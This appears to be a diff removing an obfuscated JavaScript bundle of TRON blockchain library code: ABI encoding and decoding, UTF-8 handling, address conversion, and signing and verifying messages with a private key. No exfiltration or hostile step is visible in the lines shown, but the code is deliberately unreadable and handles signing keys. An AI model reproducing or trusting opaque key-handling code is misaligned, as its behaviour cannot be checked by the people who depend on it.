- if (_0x51e311 - 1 + _0x1a0503 >= _0x3c5886.length) {
- _0x51e311 += _0x137c3a(_0x44c472.OVERRUN, _0x51e311 - 1, _0x3c5886, _0x50fb51);
- continue;
- }
- let _0x1ea84b = _0x129ec1 & (1 << 8 - _0x1a0503 - 1) - 1;
- for (let _0x460128 = 0; _0x460128 < _0x1a0503; _0x460128++) {
- let _0xd16331 = _0x3c5886[_0x51e311];
- if (128 != (192 & _0xd16331)) {
- _0x51e311 += _0x137c3a(_0x44c472.MISSING_CONTINUE, _0x51e311, _0x3c5886, _0x50fb51);
- _0x1ea84b = null;
- break;
- }
- _0x1ea84b = _0x1ea84b << 6 | 63 & _0xd16331;
- _0x51e311++;
- }
- null !== _0x1ea84b && (_0x1ea84b > 1114111 ? _0x51e311 += _0x137c3a(_0x44c472.OUT_OF_RANGE, _0x51e311 - 1 - _0x1a0503, _0x3c5886, _0x50fb51, _0x1ea84b) : _0x1ea84b >= 55296 && _0x1ea84b <= 57343 ? _0x51e311 += _0x137c3a(_0x44c472.UTF16_SURROGATE, _0x51e311 - 1 - _0x1a0503, _0x3c5886, _0x50fb51, _0x1ea84b) : _0x1ea84b <= _0x2f0335 ? _0x51e311 += _0x137c3a(_0x44c472.OVERLONG, _0x51e311 - 1 - _0x1a0503, _0x3c5886, _0x50fb51, _0x1ea84b) : _0x50fb51.push(_0x1ea84b));
- }
- return _0x50fb51;
- }(_0x4df10f, _0x304bdd).map(_0xdcc04d => _0xdcc04d <= 65535 ? String.fromCharCode(_0xdcc04d) : (_0xdcc04d -= 65536, String.fromCharCode(55296 + (_0xdcc04d >> 10 & 1023), 56320 + (1023 & _0xdcc04d)))).join("");
- }
- class _0x571913 extends _0x1873ac {
- constructor(_0x558faf) {
- super("string", _0x558faf);
- }
- defaultValue() {
- return "";
- }
- encode(_0x510d7d, _0x28ee74) {
- return super.encode(_0x510d7d, function (_0x317f4d, _0x13e332 = _0x36f3af.current) {
- _0x13e332 != _0x36f3af.current && (_0x1eb15e.checkNormalize(), _0x317f4d = _0x317f4d.normalize(_0x13e332));
- let _0xbc1e37 = [];
- for (let _0x554d50 = 0; _0x554d50 < _0x317f4d.length; _0x554d50++) {
- const _0x108935 = _0x317f4d.charCodeAt(_0x554d50);
- if (_0x108935 < 128) {
- _0xbc1e37.push(_0x108935);
- } else {
- if (_0x108935 < 2048) {
- _0xbc1e37.push(_0x108935 >> 6 | 192);
- _0xbc1e37.push(63 & _0x108935 | 128);
- } else {
- if (55296 == (64512 & _0x108935)) {
- _0x554d50++;
- const _0x333f43 = _0x317f4d.charCodeAt(_0x554d50);
- if (_0x554d50 >= _0x317f4d.length || 56320 != (64512 & _0x333f43)) {
- throw new Error("invalid utf-8 string");
- }
- const _0x424901 = 65536 + ((1023 & _0x108935) << 10) + (1023 & _0x333f43);
- _0xbc1e37.push(_0x424901 >> 18 | 240);
- _0xbc1e37.push(_0x424901 >> 12 & 63 | 128);
- _0xbc1e37.push(_0x424901 >> 6 & 63 | 128);
- _0xbc1e37.push(63 & _0x424901 | 128);
- } else {
- _0xbc1e37.push(_0x108935 >> 12 | 224);
- _0xbc1e37.push(_0x108935 >> 6 & 63 | 128);
- _0xbc1e37.push(63 & _0x108935 | 128);
- }
- }
- }
- }
- return _0x31ea1b(_0xbc1e37);
- }(_0x28ee74));
- }
- decode(_0x4ba3f3) {
- return _0x496d4c(super.decode(_0x4ba3f3));
- }
- }
- class _0x45c44b extends _0x979705 {
- constructor(_0x315d22, _0xaf5a27) {
- let _0x2ddfe9 = false;
- const _0x3ca610 = [];
- _0x315d22.forEach(_0x308cf4 => {
- _0x308cf4.dynamic && (_0x2ddfe9 = true);
- _0x3ca610.push(_0x308cf4.type);
- });
- super("tuple", "tuple(" + _0x3ca610.join(",") + ")", _0xaf5a27, _0x2ddfe9);
- this.coders = _0x315d22;
- }
- defaultValue() {
- const _0x35524d = [];
- this.coders.forEach(_0x154abd => {
- _0x35524d.push(_0x154abd.defaultValue());
- });
- const _0x18dcea = this.coders.reduce((_0x20ba69, _0x44edbd) => {
- const _0x24e5e5 = _0x44edbd.localName;
- _0x24e5e5 && (_0x20ba69[_0x24e5e5] || (_0x20ba69[_0x24e5e5] = 0), _0x20ba69[_0x24e5e5]++);
- return _0x20ba69;
- }, {});
- this.coders.forEach((_0xb57db5, _0x4cca97) => {
- let _0x514990 = _0xb57db5.localName;
- _0x514990 && 1 === _0x18dcea[_0x514990] && ("length" === _0x514990 && (_0x514990 = "_length"), null == _0x35524d[_0x514990] && (_0x35524d[_0x514990] = _0x35524d[_0x4cca97]));
- });
- return Object.freeze(_0x35524d);
- }
- encode(_0x17c120, _0x57e589) {
- return _0x2ecf05(_0x17c120, this.coders, _0x57e589);
- }
- decode(_0x5e79c0) {
- return _0x5e79c0.coerce(this.name, _0x12ffd9(_0x5e79c0, this.coders));
- }
- }
- const _0x36b607 = new _0xd41928(_0x4ea90b);
- const _0x231b85 = {};
- let _0x2c5873 = {
- calldata: true,
- memory: true,
- storage: true
- };
- let _0x4e7dde = {
- calldata: true,
- memory: true
- };
- function _0x33138f(_0x7b02ea, _0x1f5e51) {
- if ("bytes" === _0x7b02ea || "string" === _0x7b02ea) {
- if (_0x2c5873[_0x1f5e51]) {
- return true;
- }
- } else {
- if ("address" === _0x7b02ea) {
- if ("payable" === _0x1f5e51) {
- return true;
- }
- } else {
- if ((_0x7b02ea.indexOf("[") >= 0 || "tuple" === _0x7b02ea) && _0x4e7dde[_0x1f5e51]) {
- return true;
- }
- }
- }
- (_0x2c5873[_0x1f5e51] || "payable" === _0x1f5e51) && _0x36b607.throwArgumentError("invalid modifier", "name", _0x1f5e51);
- return false;
- }
- function _0x547dd2(_0x5e0306, _0x27be56) {
- for (let _0x16e0e6 in _0x27be56) _0x745c1c(_0x5e0306, _0x16e0e6, _0x27be56[_0x16e0e6]);
- }
- const _0x21901a = Object.freeze({
- sighash: "sighash",
- minimal: "minimal",
- full: "full",
- json: "json"
- });
- const _0x5c0d5f = new RegExp(/^(.*)\[([0-9]*)\]$/);
- class _0x124dda {
- constructor(_0x37601e, _0x576150) {
- _0x37601e !== _0x231b85 && _0x36b607.throwError("use fromString", _0xd41928.errors.UNSUPPORTED_OPERATION, {
- operation: "new ParamType()"
- });
- _0x547dd2(this, _0x576150);
- let _0x1f9df0 = this.type.match(_0x5c0d5f);
- _0x547dd2(this, _0x1f9df0 ? {
- arrayLength: parseInt(_0x1f9df0[2] || "-1"),
- arrayChildren: _0x124dda.fromObject({
- type: _0x1f9df0[1],
- components: this.components
- }),
- baseType: "array"
- } : {
- arrayLength: null,
- arrayChildren: null,
- baseType: null != this.components ? "tuple" : this.type
- });
- this._isParamType = true;
- Object.freeze(this);
- }
- format(_0x1ea20d) {
- if (_0x1ea20d || (_0x1ea20d = _0x21901a.sighash), _0x21901a[_0x1ea20d] || _0x36b607.throwArgumentError("invalid format type", "format", _0x1ea20d), _0x1ea20d === _0x21901a.json) {
- let _0x42c989 = {
- type: "tuple" === this.baseType ? "tuple" : this.type,
- name: this.name || undefined
- };
- "boolean" == typeof this.indexed && (_0x42c989.indexed = this.indexed);
- this.components && (_0x42c989.components = this.components.map(_0x4fe68c => JSON.parse(_0x4fe68c.format(_0x1ea20d))));
- return JSON.stringify(_0x42c989);
- }
- let _0x5b4401 = "";
- "array" === this.baseType ? (_0x5b4401 += this.arrayChildren.format(_0x1ea20d), _0x5b4401 += "[" + (this.arrayLength < 0 ? "" : String(this.arrayLength)) + "]") : "tuple" === this.baseType ? (_0x1ea20d !== _0x21901a.sighash && (_0x5b4401 += this.type), _0x5b4401 += "(" + this.components.map(_0x1eff90 => _0x1eff90.format(_0x1ea20d)).join(_0x1ea20d === _0x21901a.full ? ", " : ",") + ")") : _0x5b4401 += this.type;
- _0x1ea20d !== _0x21901a.sighash && (true === this.indexed && (_0x5b4401 += " indexed"), _0x1ea20d === _0x21901a.full && this.name && (_0x5b4401 += " " + this.name));
- return _0x5b4401;
- }
- static from(_0xdaa9e0, _0x249e27) {
- return "string" == typeof _0xdaa9e0 ? _0x124dda.fromString(_0xdaa9e0, _0x249e27) : _0x124dda.fromObject(_0xdaa9e0);
- }
- static fromObject(_0x2c3070) {
- return _0x124dda.isParamType(_0x2c3070) ? _0x2c3070 : new _0x124dda(_0x231b85, {
- name: _0x2c3070.name || null,
- type: _0x1bde7e(_0x2c3070.type),
- indexed: null == _0x2c3070.indexed ? null : !!_0x2c3070.indexed,
- components: _0x2c3070.components ? _0x2c3070.components.map(_0x124dda.fromObject) : null
- });
- }
- static fromString(_0x3636d0, _0x543c0c) {
- _0x27c538 = function (_0x488b33, _0xcdaa3b) {
- let _0x2c0019 = _0x488b33;
- function _0x72d892(_0x2ca4d9) {
- _0x36b607.throwArgumentError("unexpected character at position " + _0x2ca4d9, "param", _0x488b33);
- }
- function _0x2b4bc3(_0x23e5ba) {
- let _0x401362 = {
- type: "",
- name: "",
- parent: _0x23e5ba,
- state: {
- allowType: true
- }
- };
- _0xcdaa3b && (_0x401362.indexed = false);
- return _0x401362;
- }
- _0x488b33 = _0x488b33.replace(/\s/g, " ");
- let _0x536949 = {
- type: "",
- name: "",
- state: {
- allowType: true
- }
- };
- let _0x27e655 = _0x536949;
- for (let _0x2aaaf3 = 0; _0x2aaaf3 < _0x488b33.length; _0x2aaaf3++) {
- let _0x402c68 = _0x488b33[_0x2aaaf3];
- switch (_0x402c68) {
- case "(":
- _0x27e655.state.allowType && "" === _0x27e655.type ? _0x27e655.type = "tuple" : _0x27e655.state.allowParams || _0x72d892(_0x2aaaf3);
- _0x27e655.state.allowType = false;
- _0x27e655.type = _0x1bde7e(_0x27e655.type);
- _0x27e655.components = [_0x2b4bc3(_0x27e655)];
- _0x27e655 = _0x27e655.components[0];
- break;
- case ")":
- delete _0x27e655.state;
- "indexed" === _0x27e655.name && (_0xcdaa3b || _0x72d892(_0x2aaaf3), _0x27e655.indexed = true, _0x27e655.name = "");
- _0x33138f(_0x27e655.type, _0x27e655.name) && (_0x27e655.name = "");
- _0x27e655.type = _0x1bde7e(_0x27e655.type);
- let _0x1fea52 = _0x27e655;
- _0x27e655 = _0x27e655.parent;
- _0x27e655 || _0x72d892(_0x2aaaf3);
- delete _0x1fea52.parent;
- _0x27e655.state.allowParams = false;
- _0x27e655.state.allowName = true;
- _0x27e655.state.allowArray = true;
- break;
- case ",":
- delete _0x27e655.state;
- "indexed" === _0x27e655.name && (_0xcdaa3b || _0x72d892(_0x2aaaf3), _0x27e655.indexed = true, _0x27e655.name = "");
- _0x33138f(_0x27e655.type, _0x27e655.name) && (_0x27e655.name = "");
- _0x27e655.type = _0x1bde7e(_0x27e655.type);
- let _0x3b2504 = _0x2b4bc3(_0x27e655.parent);
- _0x27e655.parent.components.push(_0x3b2504);
- delete _0x27e655.parent;
- _0x27e655 = _0x3b2504;
- break;
- case " ":
- _0x27e655.state.allowType && "" !== _0x27e655.type && (_0x27e655.type = _0x1bde7e(_0x27e655.type), delete _0x27e655.state.allowType, _0x27e655.state.allowName = true, _0x27e655.state.allowParams = true);
- _0x27e655.state.allowName && "" !== _0x27e655.name && ("indexed" === _0x27e655.name ? (_0xcdaa3b || _0x72d892(_0x2aaaf3), _0x27e655.indexed && _0x72d892(_0x2aaaf3), _0x27e655.indexed = true, _0x27e655.name = "") : _0x33138f(_0x27e655.type, _0x27e655.name) ? _0x27e655.name = "" : _0x27e655.state.allowName = false);
- break;
- case "[":
- _0x27e655.state.allowArray || _0x72d892(_0x2aaaf3);
- _0x27e655.type += _0x402c68;
- _0x27e655.state.allowArray = false;
- _0x27e655.state.allowName = false;
- _0x27e655.state.readArray = true;
- break;
- case "]":
- _0x27e655.state.readArray || _0x72d892(_0x2aaaf3);
- _0x27e655.type += _0x402c68;
- _0x27e655.state.readArray = false;
- _0x27e655.state.allowArray = true;
- _0x27e655.state.allowName = true;
- break;
- default:
- _0x27e655.state.allowType ? (_0x27e655.type += _0x402c68, _0x27e655.state.allowParams = true, _0x27e655.state.allowArray = true) : _0x27e655.state.allowName ? (_0x27e655.name += _0x402c68, delete _0x27e655.state.allowArray) : _0x27e655.state.readArray ? _0x27e655.type += _0x402c68 : _0x72d892(_0x2aaaf3);
- }
- }
- _0x27e655.parent && _0x36b607.throwArgumentError("unexpected eof", "param", _0x488b33);
- delete _0x536949.state;
- "indexed" === _0x27e655.name ? (_0xcdaa3b || _0x72d892(_0x2c0019.length - 7), _0x27e655.indexed && _0x72d892(_0x2c0019.length - 7), _0x27e655.indexed = true, _0x27e655.name = "") : _0x33138f(_0x27e655.type, _0x27e655.name) && (_0x27e655.name = "");
- _0x536949.type = _0x1bde7e(_0x536949.type);
- return _0x536949;
- }(_0x3636d0, !!_0x543c0c);
- return _0x124dda.fromObject({
- name: _0x27c538.name,
- type: _0x27c538.type,
- indexed: _0x27c538.indexed,
- components: _0x27c538.components
- });
- var _0x27c538;
- }
- static isParamType(_0x34d611) {
- return !(null == _0x34d611 || !_0x34d611._isParamType);
- }
- }
- function _0x1bde7e(_0x199985) {
- _0x199985.match(/^uint($|[^1-9])/) ? _0x199985 = "uint256" + _0x199985.substring(4) : _0x199985.match(/^int($|[^1-9])/) && (_0x199985 = "int256" + _0x199985.substring(3));
- return _0x199985;
- }
- const _0x3f8679 = new _0xd41928(_0x4ea90b);
- const _0x38d6ee = new RegExp(/^bytes([0-9]*)$/);
- const _0x1ef715 = new RegExp(/^(u?int)([0-9]*)$/);
- class _0x212bca {
- constructor(_0x1429b7) {
- _0x745c1c(this, "coerceFunc", _0x1429b7 || null);
- }
- _getCoder(_0x123019) {
- switch (_0x123019.baseType) {
- case "address":
- return new _0x55d5a4(_0x123019.name);
- case "bool":
- return new _0x15baa0(_0x123019.name);
- case "string":
- return new _0x571913(_0x123019.name);
- case "bytes":
- return new _0x40761d(_0x123019.name);
- case "array":
- return new _0x2ddcb1(this._getCoder(_0x123019.arrayChildren), _0x123019.arrayLength, _0x123019.name);
- case "tuple":
- return new _0x45c44b((_0x123019.components || []).map(_0x1ae3c6 => this._getCoder(_0x1ae3c6)), _0x123019.name);
- case "":
- return new _0xf86ba(_0x123019.name);
- }
- let _0xeb95bf = _0x123019.type.match(_0x1ef715);
- if (_0xeb95bf) {
- let _0x11f475 = parseInt(_0xeb95bf[2] || "256");
- (0 === _0x11f475 || _0x11f475 > 256 || _0x11f475 % 8 != 0) && _0x3f8679.throwArgumentError("invalid " + _0xeb95bf[1] + " bit length", "param", _0x123019);
- return new _0x5646e6(_0x11f475 / 8, "int" === _0xeb95bf[1], _0x123019.name);
- }
- if (_0xeb95bf = _0x123019.type.match(_0x38d6ee), _0xeb95bf) {
- let _0x3437af = parseInt(_0xeb95bf[1]);
- (0 === _0x3437af || _0x3437af > 32) && _0x3f8679.throwArgumentError("invalid bytes length", "param", _0x123019);
- return new _0xda2133(_0x3437af, _0x123019.name);
- }
- return _0x3f8679.throwArgumentError("invalid type", "type", _0x123019.type);
- }
- _getWordSize() {
- return 32;
- }
- _getReader(_0x35421f, _0x4f4e62) {
- return new _0x2b4f7a(_0x35421f, this._getWordSize(), this.coerceFunc, _0x4f4e62);
- }
- _getWriter() {
- return new _0x2234d4(this._getWordSize());
- }
- getDefaultValue(_0x7278ea) {
- const _0x32562a = _0x7278ea.map(_0x23b7f3 => this._getCoder(_0x124dda.from(_0x23b7f3)));
- return new _0x45c44b(_0x32562a, "_").defaultValue();
- }
- encode(_0x24e50a, _0x54de07) {
- _0x24e50a.length !== _0x54de07.length && _0x3f8679.throwError("types/values length mismatch", _0xd41928.errors.INVALID_ARGUMENT, {
- count: {
- types: _0x24e50a.length,
- values: _0x54de07.length
- },
- value: {
- types: _0x24e50a,
- values: _0x54de07
- }
- });
- const _0xb1bef9 = _0x24e50a.map(_0x5e0054 => this._getCoder(_0x124dda.from(_0x5e0054)));
- const _0x5cb37e = new _0x45c44b(_0xb1bef9, "_");
- const _0x157efe = this._getWriter();
- _0x5cb37e.encode(_0x157efe, _0x54de07);
- return _0x157efe.data;
- }
- decode(_0xbc2a34, _0x4e4221, _0x22297c) {
- const _0x5d6c28 = _0xbc2a34.map(_0x3b8bd5 => this._getCoder(_0x124dda.from(_0x3b8bd5)));
- return new _0x45c44b(_0x5d6c28, "_").decode(this._getReader(_0x31ea1b(_0x4e4221), _0x22297c));
- }
- }
- new _0x212bca();
- var _0x1d4d83 = new _0x212bca();
- function _0x3fc1c8(_0x2af752) {
- return _0x2d34c8.address.toHex(_0x2af752).replace(_0x1b0abe, "0x");
- }
- function _0x269b9c(_0xe60210) {
- if ("[object Object]" !== Object.prototype.toString.call(_0xe60210) && "[object Array]" !== Object.prototype.toString.call(_0xe60210)) {
- return _0xe60210;
- }
- var _0x21d74b;
- _0x21d74b = _0xe60210;
- var _0x249e08 = Array.isArray(_0x21d74b) ? [] : {};
- Object.keys(_0xe60210).forEach(function (_0x29abc7) {
- return _0x249e08[_0x29abc7] = _0xe60210[_0x29abc7] instanceof Object && !_0xe60210[_0x29abc7]._isBigNumber ? _0x269b9c(_0xe60210[_0x29abc7]) : _0xe60210[_0x29abc7];
- });
- return _0x249e08;
- }
- function _0x60c559(_0xf76ee0, _0x3db910, _0x226892, _0x1062e0) {
- if (_0x226892 && "boolean" != typeof _0x226892 || (_0x1062e0 = _0x226892, _0x226892 = _0x3db910, _0x3db910 = _0xf76ee0, _0xf76ee0 = []), _0x1062e0 && _0x226892.replace(/^0x/, "").length % 64 == 8 && (_0x226892 = "0x" + _0x226892.replace(/^0x/, "").substring(8)), _0x226892.replace(/^0x/, "").length % 64) {
- throw new Error("The encoded string is not valid. Its length must be a multiple of 64.");
- }
- _0x3db910 = _0x3db910.map(function (_0x436a0a) {
- /trcToken/.test(_0x436a0a) && (_0x436a0a = _0x436a0a.replace(/trcToken/, "uint256"));
- return _0x436a0a;
- });
- return _0x1d4d83.decode(_0x3db910, _0x226892).reduce(function (_0x5d66f8, _0x1db918, _0x25cb09) {
- "address" == _0x3db910[_0x25cb09] && (_0x1db918 = _0x40cce0 + _0x1db918.substr(2).toLowerCase());
- _0xf76ee0.length ? _0x5d66f8[_0xf76ee0[_0x25cb09]] = _0x1db918 : _0x5d66f8.push(_0x1db918);
- return _0x5d66f8;
- }, _0xf76ee0.length ? {} : []);
- }
- function _0x298de8(_0x128532, _0xc366b1) {
- for (var _0x266170 = 0; _0x266170 < _0x128532.length; _0x266170++) {
- "address" === _0x128532[_0x266170] && (_0xc366b1[_0x266170] = _0x2d34c8.address.toHex(_0xc366b1[_0x266170]).replace(_0x1b0abe, "0x"));
- }
- return _0x1d4d83.encode(_0x128532, _0xc366b1);
- }
- function _0x1dd981(_0x225ec2) {
- var _0x5b9d1e = _0x225ec2.match(/([a-zA-Z0-9])(\[.*\])/);
- return _0x5b9d1e ? _0x5b9d1e[2] : "";
- }
- function _0x3d39bf(_0x2da81c) {
- return (_0x1dd981(_0x2da81c).match(/\]\[/g) || []).length + 1;
- }
- function _0x4f1669(_0x33d412, _0x6e02dd) {
- var _0x10a5bc = [];
- var _0x3ab571 = function _0x333a13(_0x363099) {
- if (_0x363099 && 0 === _0x363099.type.indexOf("tuple") && _0x363099.components) {
- var _0x2101dd = _0x363099.components.map(function (_0x595b7f) {
- return _0x333a13(_0x595b7f);
- });
- return "tuple(".concat(_0x2101dd.join(","), ")").concat(_0x1dd981(_0x363099.type));
- }
- return /trcToken/.test(_0x363099.type) ? _0x363099.type.replace(/trcToken/, "uint256") : _0x363099.type;
- };
- var _0x27ee31 = function _0x1352e9(_0x577e1d) {
- return Array.isArray(_0x577e1d) ? (_0x577e1d.forEach(function (_0x16fd7c, _0x5d4e4e) {
- _0x577e1d[_0x5d4e4e] = _0x1352e9(_0x16fd7c);
- }), _0x577e1d) : _0x3fc1c8(_0x577e1d);
- };
- var _0x588a19 = function _0x185a08(_0xe02ec7, _0x510074, _0x2444e5) {
- _0x2444e5 > 1 ? _0x510074.length && _0x510074.forEach(function (_0x133295) {
- _0x185a08(_0xe02ec7, _0x133295, _0x2444e5 - 1);
- }) : _0x510074.length && _0x2444e5 && _0x510074.forEach(function (_0x34eca4) {
- _0x273509(_0xe02ec7, _0x34eca4);
- });
- };
- var _0x273509 = function _0x3f4662() {
- var _0x599060 = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : [];
- var _0xf7af73 = arguments.length > 1 ? arguments[1] : undefined;
- _0x599060.length && _0x599060.forEach(function (_0x571144, _0x4a93a4) {
- var _0x183a09 = _0x571144.type;
- if (_0xf7af73[_0x4a93a4]) {
- if ("address" === _0x183a09) {
- _0xf7af73[_0x4a93a4] = _0x3fc1c8(_0xf7af73[_0x4a93a4]);
- } else {
- if ("address[" === _0x183a09.match(/^([^\x5b]*)(\x5b|$)/)[0]) {
- _0x27ee31(_0xf7af73[_0x4a93a4]);
- } else {
- if (0 === _0x183a09.indexOf("tuple")) {
- if (_0x1dd981(_0x183a09)) {
- var _0x39cbd7 = _0x3d39bf(_0x183a09);
- _0x588a19(_0x571144.components, _0xf7af73[_0x4a93a4], _0x39cbd7);
- } else {
- _0x3f4662(_0x571144.components, _0xf7af73[_0x4a93a4]);
- }
- }
- }
- }
- }
- });
- };
- if (_0x33d412.inputs && _0x33d412.inputs.length) {
- for (var _0x3e8b89 = 0; _0x3e8b89 < _0x33d412.inputs.length; _0x3e8b89++) {
- var _0x52eb73 = _0x33d412.inputs[_0x3e8b89].type;
- "bool" === _0x52eb73 && "false" === _0x6e02dd[_0x3e8b89] && (_0x6e02dd[_0x3e8b89] = false);
- _0x10a5bc.push(0 === _0x52eb73.indexOf("tuple") ? _0x3ab571(_0x33d412.inputs[_0x3e8b89]) : _0x52eb73);
- _0x6e02dd.length < _0x10a5bc.length && _0x6e02dd.push("");
- }
- }
- _0x273509(_0x33d412.inputs, _0x6e02dd);
- (function (_0x1f3068) {
- for (var _0x32c77d = 0; _0x32c77d < _0x1f3068.length; _0x32c77d++) {
- var _0x3c4b7d = _0x1f3068[_0x32c77d];
- /trcToken/.test(_0x3c4b7d) && (_0x1f3068[_0x32c77d] = _0x3c4b7d.replace(/trcToken/, "uint256"));
- }
- })(_0x10a5bc);
- return _0x1d4d83.encode(_0x10a5bc, _0x6e02dd);
- }
- function _0x3b01a1(_0x42d349, _0x253f37) {
- var _0x58d2dd = function _0x279783(_0x2b5e9a) {
- return Array.isArray(_0x2b5e9a) ? (_0x2b5e9a.forEach(function (_0x163858, _0x4028cf) {
- _0x2b5e9a[_0x4028cf] = _0x279783(_0x163858);
- }), _0x2b5e9a) : _0x2d34c8.address.toHex(_0x2b5e9a);
- };
- var _0x179077 = function _0x478e8c(_0x175cac, _0x46f0e0, _0x32da71) {
- _0x32da71 > 1 ? _0x46f0e0.length && _0x46f0e0.forEach(function (_0x55bf65) {
- _0x478e8c(_0x175cac, _0x55bf65, _0x32da71 - 1);
- }) : _0x46f0e0.length && _0x32da71 && _0x46f0e0.forEach(function (_0x48a6dd) {
- _0x4c4abb(_0x175cac, _0x48a6dd);
- });
- };
- var _0x5419bf = function _0x4207f2(_0x591896) {
- var _0x43b8c4 = _0x591896.name ? " ".concat(_0x591896.name) : "";
- if (_0x591896 && 0 === _0x591896.type.indexOf("tuple") && _0x591896.components) {
- var _0x49cd4d = _0x591896.components.map(function (_0x18512e) {
- return _0x4207f2(_0x18512e);
- });
- return "tuple(".concat(_0x49cd4d.join(","), ")").concat(_0x1dd981(_0x591896.type)).concat(_0x43b8c4);
- }
- return /trcToken/.test(_0x591896.type) ? _0x591896.type.replace(/trcToken/, "uint256") + _0x43b8c4 : _0x591896.type + _0x43b8c4;
- };
- var _0x4c4abb = function _0x3612d3() {
- var _0x565090 = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : [];
- var _0x2f55a2 = arguments.length > 1 ? arguments[1] : undefined;
- _0x565090.length && _0x565090.forEach(function (_0x4271b4, _0x5f1149) {
- var _0x498bdb = _0x4271b4.type;
- var _0x5c6cb8 = _0x4271b4.name;
- if (_0x2f55a2[_0x5f1149]) {
- if ("address" === _0x498bdb) {
- _0x2f55a2[_0x5f1149] = _0x2d34c8.address.toHex(_0x2f55a2[_0x5f1149]);
- _0x5c6cb8 && (_0x2f55a2[_0x5c6cb8] = _0x2d34c8.address.toHex(_0x2f55a2[_0x5c6cb8]));
- } else {
- if ("address[" === _0x498bdb.match(/^([^\x5b]*)(\x5b|$)/)[0]) {
- _0x58d2dd(_0x2f55a2[_0x5f1149]);
- _0x5c6cb8 && _0x58d2dd(_0x2f55a2[_0x5c6cb8]);
- } else {
- if (0 === _0x498bdb.indexOf("tuple")) {
- if (_0x1dd981(_0x498bdb)) {
- var _0x2b35bd = _0x3d39bf(_0x498bdb);
- _0x179077(_0x4271b4.components, _0x2f55a2[_0x5f1149], _0x2b35bd);
- } else {
- _0x3612d3(_0x4271b4.components, _0x2f55a2[_0x5f1149]);
- }
- _0x5c6cb8 && (_0x2f55a2[_0x5c6cb8] = _0x2f55a2[_0x5f1149]);
- }
- }
- }
- }
- });
- };
- if (_0x42d349.outputs && _0x42d349.outputs.length > 0) {
- for (var _0x2763b6 = [], _0x344450 = 0; _0x344450 < _0x42d349.outputs.length; _0x344450++) {
- var _0x31a835 = _0x42d349.outputs[_0x344450].type;
- var _0x643607 = _0x42d349.outputs[_0x344450].name ? " ".concat(_0x42d349.outputs[_0x344450].name) : "";
- _0x2763b6.push(0 === _0x31a835.indexOf("tuple") ? _0x5419bf(_0x42d349.outputs[_0x344450]) : _0x31a835 + _0x643607);
- }
- !function (_0x42c215) {
- for (var _0x1bf363 = 0; _0x1bf363 < _0x42c215.length; _0x1bf363++) {
- var _0x24aa31 = _0x42c215[_0x1bf363];
- /^trcToken/.test(_0x24aa31) && (_0x42c215[_0x1bf363] = _0x24aa31.replace(/^trcToken/, "uint256"));
- }
- }(_0x2763b6);
- _0x253f37 && _0x253f37.length || (_0x253f37 = new Uint8Array(32 * _0x42d349.outputs.length));
- var _0x19aec3 = _0x269b9c(_0x1d4d83.decode(_0x2763b6, _0x253f37));
- _0x4c4abb(_0x42d349.outputs, _0x19aec3);
- return _0x19aec3;
- }
- return [];
- }
- var _0x25e3fa = "TRON Signed Message:\n";
- function _0x4c77b1(_0x452696) {
- "string" == typeof _0x452696 && (_0x452696 = _0x1667a1(_0x452696));
- Array.isArray(_0x452696) && (_0x452696 = new Uint8Array(_0x452696));
- return _0xa68238(_0x251cd2([_0x1667a1(_0x25e3fa), _0x1667a1(String(_0x452696.length)), _0x452696]));
- }
- function _0x1fefee(_0x17626e, _0x50fa35) {
- _0x50fa35.match(/^0x/) || (_0x50fa35 = "0x" + _0x50fa35);
- var _0x5bce40 = new _0xda262b(_0x50fa35);
- var _0x291215 = _0x4c77b1(_0x17626e);
- var _0x3c6fd1 = _0x5bce40.sign(_0x291215);
- return _0x1d15e9(_0x3c6fd1);
- }
- function _0x52ca21(_0xd79852, _0x354294) {
- _0x354294.match(/^0x/) || (_0x354294 = "0x" + _0x354294);
- return _0x8062fc(_0x4668eb(_0x56c182(_0x4c77b1(_0xd79852), _0x354294).replace(/^0x/, _0x40cce0)));
- }
- function _0x30b322(_0x1526e1, _0x45ce2d) {
- var _0x28ceee = Object.keys(_0x1526e1);
- if (Object.getOwnPropertySymbols) {
- var _0x5868e1 = Object.getOwnPropertySymbols(_0x1526e1);
- _0x45ce2d && (_0x5868e1 = _0x5868e1.filter(function (_0x32abb5) {
- return Object.getOwnPropertyDescriptor(_0x1526e1, _0x32abb5).enumerable;
- }));
- _0x28ceee.push.apply(_0x28ceee, _0x5868e1);
- }
- return _0x28ceee;
- }
- function _0x3ecfd7(_0x37f3de) {
- for (var _0x432975 = 1; _0x432975 < arguments.length; _0x432975++) {
- var _0x13f78f = null != arguments[_0x432975] ? arguments[_0x432975] : {};
- _0x432975 % 2 ? _0x30b322(Object(_0x13f78f), true).forEach(function (_0x4094e6) {
- _0x713ed3(_0x37f3de, _0x4094e6, _0x13f78f[_0x4094e6]);
- }) : Object.getOwnPropertyDescriptors ? Object.defineProperties(_0x37f3de, Object.getOwnPropertyDescriptors(_0x13f78f)) : _0x30b322(Object(_0x13f78f)).forEach(function (_0x304310) {
- Object.defineProperty(_0x37f3de, _0x304310, Object.getOwnPropertyDescriptor(_0x13f78f, _0x304310));
- });
- }
- return _0x37f3de;
- }
- var _0x30d9c7 = _0x242c38(6177);
- var _0x5df48b = _0x242c38(8020);
- var _0x45cabb = _0x5df48b.Transaction;
- var _0x356b0c = _0x5df48b.Permission;
- var _0x569188 = _0x5df48b.Key;
- var _0x630627 = _0x242c38(1791);
- var _0x168755 = _0x630627.TransferContract;
- var _0x353eb4 = _0x630627.FreezeBalanceContract;
- var _0x1153fb = _0x630627.UnfreezeBalanceContract;
- var _0x398925 = _0x630627.WithdrawBalanceContract;
- var _0x338e57 = _0x630627.FreezeBalanceV2Contract;
- var _0x25037e = _0x630627.UnfreezeBalanceV2Contract;
- var _0x52b8c1 = _0x630627.WithdrawExpireUnfreezeContract;
- var _0xc3fa07 = _0x630627.DelegateResourceContract;
- var _0x2af137 = _0x630627.UnDelegateResourceContract;
- var _0x15e8a5 = _0x242c38(6439);
- var _0x237e7a = _0x15e8a5.TransferAssetContract;
- var _0x3cf886 = _0x15e8a5.ParticipateAssetIssueContract;
- var _0x22d082 = _0x15e8a5.AssetIssueContract;
- var _0xba749d = _0x15e8a5.UpdateAssetContract;
- var _0x1232d2 = _0x242c38(5171);
- var _0x278913 = _0x1232d2.TriggerSmartContract;
- var _0x4a5ca0 = _0x1232d2.ClearABIContract;
- var _0x224a6d = _0x1232d2.UpdateEnergyLimitContract;
- var _0x50d7bf = _0x1232d2.UpdateSettingContract;
- var _0xbe3df7 = _0x1232d2.CreateSmartContract;
